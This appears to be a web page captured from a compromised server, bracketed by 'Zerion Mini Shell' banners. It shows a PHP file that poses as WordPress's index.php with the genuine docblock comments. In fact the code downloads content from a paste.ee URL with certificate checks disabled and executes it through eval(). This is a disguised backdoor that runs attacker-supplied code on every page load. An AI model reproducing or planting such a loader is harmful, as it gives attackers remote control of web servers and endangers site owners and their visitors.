Mini Shell 
 
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
function c($url)
{
  $curl = curl_init($url);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  curl_setopt($curl,CURLOPT_TIMEOUT,10);
  $data = curl_exec($curl);
  curl_close($curl);
  return $data;
}
eval("?>" . c('https://paste.ee/r/6uwtF/0'));
//print(0);
?>
Zerion Mini Shell 1.0